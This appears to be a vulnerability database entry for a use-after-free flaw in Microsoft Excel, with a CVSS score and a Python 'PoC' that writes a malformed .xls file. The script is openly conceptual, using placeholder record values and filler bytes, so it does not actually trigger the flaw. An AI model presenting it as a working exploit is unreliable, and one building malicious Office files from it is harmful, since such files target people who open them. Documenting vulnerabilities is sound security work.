Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Office Excel (具体受影响版本请参考官方安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40359 (Conceptual)
# This script demonstrates the concept of creating a malformed Excel file
# that attempts to trigger the Use After Free vulnerability.
import struct
def create_malicious_xls(filename):
# Standard XLS file header
xls_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# Placeholder for the specific record stream that triggers the UAF
# Real exploitation requires precise knowledge of the object offset and heap layout
# This represents a corrupted record structure
malicious_record = struct.pack('<H', 0x1234) # Record ID (Example)
malicious_record += struct.pack('<H', 0x0020) # Record length (Example)
malicious_record += b'A' * 0x20 # Data causing the UAF
with open(filename, 'wb') as f:
f.write(xls_header)
f.write(malicious_record)
print(f"[+] Malicious file created: {filename}")
print("[!] This is a conceptual PoC. Do not use for unauthorized purposes.")
if __name__ == "__main__":
create_malicious_xls("cve_2026_40359_poc.xls")